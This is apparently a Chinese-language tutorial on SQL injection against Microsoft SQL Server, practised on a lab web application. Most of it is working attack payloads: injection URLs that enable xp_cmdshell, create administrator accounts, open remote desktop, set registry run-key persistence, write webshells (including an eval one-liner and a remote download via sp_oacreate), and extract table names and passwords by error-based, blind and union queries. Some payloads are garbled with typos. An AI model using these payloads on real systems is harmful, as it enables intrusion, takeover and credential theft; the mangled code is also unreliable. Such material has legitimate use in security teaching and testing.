MSSQL数据库注入实践
一、MSSQL注入的基础知识
(一)注入点的检测
1、数据库类型判断
-
概述
MSSQL数据库中,存在一个系统表sysobjects,可以通过判断这个表是否存在来判断该数据库是否为MSSQL数据库
-
SQL语句执行
select * from admin where id=1 and exists(select * from sysobjects); # 正常返回结果,则表示存在该数据库表
select * from admin where id=1 and exists(select * from msysobjects);# 报错,表示此数据库没有这个表
消息 208,级别 16,状态 1,第 1 行
对象名 'msysobjects' 无效。
2、当前用户权限判断
-
概述
通过is_sevrolemember这个函数判断当前的用户角色,若存在该用户则该查询语句返回1(代表true)
-
SQL语句执行
select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')); # 执行此语句不报错则表示当前用户为sa用户(权限最高)
select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('db_owner')); # 执行此语句不报错则表示当前用户为db_owner用户
select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('public')); # 执行此语句不报错则表示当前用户为普通用户(权限最低)
3、返回信息的判断
(二)扩展存储注入攻击
1、扩展存储介绍
可以理解为MSSQL数据库中的一个功能函数,可以利用这个函数去对该数据库所在的服务器进行相关的操作,其实就是一个普通的windows的dll文件,按照墨中规则实现了某些函数功能。这些功能可以对系统进行操作。
2、常见的扩展存储
# xp_cmdshell 可执行系统命令
# xp_regread 进行注册表读取
# xp_regwrit 可以写入注册表信息
# xp_dirtre 进行列目录操作
# xp_enumds 进行ODBC连接
# xp_loginconfig 配置服务器的安全模式信息
# xp_makecab 可以创建压缩卷
# xp_ntsec_enumdomains 查看domain信息
# xp_terminate_jroces 可以查看服务器的进程信息,给出PID
# xp_servicecontrol 管理系统服务
# sp_makewebtask 创建生成html文档的任务,需要sa权限
# sp_oacreate 存储远程下载文件,需要sa权限
# sp_addlogin 拓展管理数据库用户
3、检测/恢复扩展存储
-
检测扩展存储是否开启其存在信息存储在master.dbo.sysobjects表中,若开启的话其where name=’扩展存储名称‘能查到相应的数据
select * from admin where id=1 and (select name from master.dbo.sysobjects where name = 'xp_cmdshell')>0; # 若开启,这里会有报错信息且报错信息中还有扩展存储的名称
select * from admin where id=1 and (select name from master.dbo.sysobjects where name = 'xp_regwrite')>0; # 若未开启,这里无法查询到数据,但是不会报错,页面是正常的。
...
-
恢复/创建扩展存储xp_cmdshell
若上述语句查询结果为0,则相关扩展存储被删除了,我们可以通过xplog70.dll文件恢复xp_cmdshell
exec master..sp_dropextendedproc 'xp_cmdshell','xplog70.dll';# 需要sa权限,而且需要先切换到master库中进行操作。
# 如果恢复不成功,应该就是xplog70.dll文件不存在,则需要上传一个xplog70.dll文件,这里利用难度有点大,需要建立在获取sa权限的前提下。
4、拓展存储的利用
-
20.。sa权限下拓展存储的利用
-
xp_cmdshell执行任意命令
# 查看服务器目录
exec master..xp_cmdshell 'dir c:\';
# 创建账号,移动到管理员组
exec master..xp_cmdshell 'net user test test /add'; # server2008 以上有密码安全策略,要符合才能创建成功
exec master..xp_cmdshell 'net localgroup administrator test /add';
# 开启远程桌面服务
exec master..xp_cmdshell'sc config termservice start = auto';
exec master..xp_cmdshell'net start termservice';
exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v fDenyTSConnections /t REG_DWORD /D 0X0 /F' //设置远程桌面允许外部连接
-
xp_regwrite操作注册表
在sa权限写可以将更改写到注册表中
exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user test test /add';
# 将net user test test /add命令写到系统启动项这个注册表中,当服务器重启时,就会自动执行此命令。
也可以利用xp_regwrite开启沙盒模式,进而执行系统命令**(这是个难点,专题总结)**
# 首先开启沙盘模式
exec maexec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
# 利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
-
sp_makewebtask写入webshellserver 2008已移除
在入侵测试的过程中,可以利用sp_makewebtask扩展存储来将webshell写入到服务器磁盘中的Web目录下,从而获得对服务器的控制权限。在进行SQL注入的时候,首先需要将webshell转换沉url格式,然后在插入url中提交。
exec master..sp_makewebtask 'c:\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65%72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
-
sp_oacreate存储远程下载文件**(难点)**
我们可以将一个webshell文件上传到一个网站中,然后通过sp_oacreate存储过程来操作服务器在下载相应的webshell到本地,间接的进行webshell上传。
这里可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下。
http://www.test.com/teat.txt
在注入点处提交如下查询。
DECLARE @B varbinary(8000),@hr int,
@http INT,@down INT EXEC sp_oacreate
(Microsoft.XMLHTTP],@http output EXEC
@hr = sp_oamethod @http,[Open],null,[GET],
[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down
output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -
即可下载文件“http://www.test.con/test.txt”的内容到
“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.
# 这个payload,利用起来不简单。后续作为难点专题总结。
-
sp_addlogin管理数据库用户
exec master.dbo.sp_addlogin test,password;
exec masterdbo.sp_addsrvrolemember test,sysadmin;
-
xp_servicecontrol管理系统服务
exec master..xp_servicecontrol 'stop','schedule'; # 停止schedule服务
exec master..xp_servicecontrol 'start','schedule';
exec master..xp servicecontrol 'start','server';
-
db_owner权限下拓展存储的利用
-
概述
当数据库当前用户权限为db_owner时,无法直接利用存储过程进行注入,这个时候会首先利用xp_dirtree扩展存储来获取web目录,前提是web服务器与数据库是在同一台服务器上,然后用SQL语句创建临时表,再将webshell写入到临时表中。最后利用数据库备份将数据库备份到web目录并保存为asp文件,然后再去连接webshell,从而控制服务器。
-
判断当前用户权限
select * from admin where id=1 and 1=(select IS_SRVROLEMEMBER('db_owner')); # 执行此语句不报错则表示当前用户为db_owner用户
-
搜索web目录
# 1、创建一个临时表,一般来说是有四个字段,其中一个字段为自增列,其余三个字段用于存放执行存储过程xp_dirtree返回的结果。
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity(1,1));
# 2、将xp_dirtree存储过程执行的结果放到数据库的三个字段中
insert into temp(dir,depth,files) exec master.dbo.xp_dirtree'c:',1,1;
# 3、然后再去查询temp表中的结果,就可以拿到相应的目录
select dir from temp where id=1;
-
获取数据库名
select db_name();
-
写入webshell
# 找到web路径之后,就可以在临时表中写入木马了,将该表备份到web目录下。
alter database testdb set recovery full; #更改备份的回复模式
create table test_tmp(str image);
backup log testdb to disk='c:\test1\test' with init;#要备份成功的话,需要存在相关的文件,不能是目录
insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);
backup log testdb to disk='c:\www\iis-xxser.com--wwwroot\test.asp';
alter database testdb set recovery simple;
二、MSSQL注入的实践
(一)注入点检测
1、判断是否存在注入
2、数据库类型判断
3、当前用户权限的判断
4、返回信息判断
-
当前数据库服务器的用户名
-
当前数据库用户的用户名
-
是否支持多行执行
-
获取当前数据库名
-
判断当前是否有库的读取权限
(二)扩展存储检测
注入url
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and (select name from master.dbo.sysobjects where name='xp_cmdshell')>0
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and (select name from master.dbo.sysobjects where name='xp_regwrite')>0
(三)扩展存储攻击
1、开启远程桌面
-
注入url
# 1、修改注册表,开启远程桌面连接
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0
# 2、创建用户
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell'net user yhn ikm@085 /add'
# 如果这条语句出现“阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问”的错误,执行下面的语句
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;exec master..sp_configure 'show advanced options', 1;reconfigure;
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;exec master..sp_configure 'xp_cmdshell', 1;reconfigure;
# 3、将创建的用户添加到管理员组,提权
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell'net localgroup administrators yhn /add'
2、查看命令执行结果
-
创建一个临时表
-
将命令执行结果放进临时表相应的字段中
-
查看临时表中的内容
3、获取当前web目录
4、上传webshell
-
注入url:获取了web路径后就可以通过差异备份将webshell上传到web路径下
# 通过差异备份将表中的webshell备份到web路径下,这种方式比较麻烦。
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;alter database testdb set recovery full;
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;drop table test_tmp;create table test_tmp(str image);
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;backup log testdb to disk='c:\test1\test' with init;
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;backup log testdb to disk='c:\www\iis-xxser.com--wwwroot\1.asp';
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1;alter database testdb set recovery simple;
# 在获取web路径之后也可用xp_cmdshell直接写入webshell
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 ;exec master..xp_cmdshell 'Echo "<%eval request("chopper")%>" >> c:\www\iis-xxser.com--wwwroot\3.asp'
(四)盲注(数据库猜解)
1、概述
当我们发现注入点,但是没有拓展权限可以利用的时候,我们只能去猜解数据库中的敏感信息,这里的话我们可以用group by 分组和having 条件来爆破数据库的表名和字段名,一般来说,having和group by是不会分开使用的,使用having就一定会group by,但是使用group by不一定会用到having。从sql语句语法上来理解的话,group by 后面接的是分组的条件,例如group by id就是根据id 来分组,然后having id=1 ,就表示筛选出id=1的相关信息。
举个例子(MySQL)
# 这里由于没有相同的选项所以没有聚合的效果
mysql> select * from users group by user_id;
+---------+------------+-----------+---------+----------------------------------
+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password
| avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------
+-----------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99
| /hackable/users/admin.jpg | 2021-08-23 11:10:08 | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03
| /hackable/users/gordonb.jpg | 2021-08-23 11:10:08 | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b
| /hackable/users/1337.jpg | 2021-08-23 11:10:08 | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7
| /hackable/users/pablo.jpg | 2021-08-23 11:10:08 | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99
| /hackable/users/smithy.jpg | 2021-08-23 11:10:08 | 0 |
+---------+------------+-----------+---------+----------------------------------
+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)
mysql> select * from users group by user_id having user_id =1;
+---------+------------+-----------+-------+----------------------------------+-
--------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password |
avatar | last_login | failed_login |
+---------+------------+-----------+-------+----------------------------------+-
--------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
/hackable/users/admin.jpg | 2021-08-23 11:10:08 | 0 |
+---------+------------+-----------+-------+----------------------------------+-
--------------------------+---------------------+--------------+
1 row in set (0.02 sec)
2、注入url
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 having 1=1
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1 # admin.id这个字段是上一条语句爆出来的,放在这里再爆下一条字段
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name,admin.passWord having 1=1
...
(五)数据类型转换报错注入
1、概述
数据类型转换报错其实就是将通过构造sql语句查询我们想要的信息,然后这些信息和整型做个比较,数据类型不一致无法进行比较,这样就会把我们需要的信息通过报错信息展现出来。
2、注入url
# 1、爆破数据库名,括号里面可以添加数字爆出其他的库名。
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and db_name()>0
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and db_name(1)>0
# 2、爆破数据库文件所在的路径,%2b是+号
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 0=(select top 1 cast(name as nvarchar(256))%2bchar(94)%2bcast(filename as nvarchar(256)) from (select top 3 dbid,name,filename from master.dbo.sysdatabases order by dbid) t order by dbid desc)
# 3、也可以通过查询系统表(类似于information_schema库)来获取信息,改变dbid的值来获取不同的库名。
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=(select name from master.dbo.sysdatabases where dbid=1)
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and (select top 1 name from (select top 1 name from sysobjects where xtype=0X75 order by name) t order by name desc)=0 #爆表的名称,以此类推可以用相同的语法猜解出字段内容
(六)order by与union联合注入
原理和其他数据库一样,先用order by 判断主查询字段的数量,然后用想要查询的字段名代替union select中的位置,去系统表中sysobjects中获取有用的信息,逐步获取数据库信息。
# ORDER BY判断:
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 order by 1
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 order by 2
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 order by 3
...
# 构建union联合查询语句
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select null,null,null from sysobjects
# 用相应字段替换null,直到页面出现错误,则根据页面信息判断该位置的数据类型为nvarchar
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select 1,null,null from sysobjects# 正常,说明1的位置为int
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select 1,2,null from sysobjects# 报错nvarchar类型转换失败,2的位置为nvarchar
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select 1,'text',3 from sysobjects# 正常
# 然后就可以通过构造数据类型转换会发生出错的位置插入sql查询语句,例如1的位置可以判断为int,我们要查的字段为nvarchar类型时,就可以将sql语句放在1的位置,我们要查int类型数字的时候,就可以把sql语句放在‘text’这个原本是nvarchar类型的位置上。下面例子中,dbid的值可以进行更改然后获取不同数据库的库名。
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select (select name from master.dbo.sysdatabases where dbid=1),'text',3 from sysobjects
# 接下来同样的构造方式,可以爆破出相应数据库的表,该第二个top的数字,可以当前库的不同表名,xtype=0x75 表示xtype为u的表,意思为当前数据库的表
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select (select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),'text',3 from sysobjects
# 查master数据库下表名
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select (select top 1 name from (select top 1 name from master..sysobjects where xtype=0x75 order by name) t order by name desc),'text',3 from sysobjects
# 查找相应表的字段名,数字可以更改,爆破不同字段的字段名
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union select (select col_name(object_id('admin'),3)),'text',3 from sysobjects
# 字段名和表名出来了,就可以查内容了,可以单独查用户名,但是单独查密码无法实现,可能和数据类型转换有关,不会报错,下面的语句把password的数据类型也改为了nvarchar,然后转换成int也就报错了。
http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1 and 1=1 union all select (select top 1 isnull(cast(name as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from admin),'text',3 from sysobjects
如有错误之处,欢迎指正!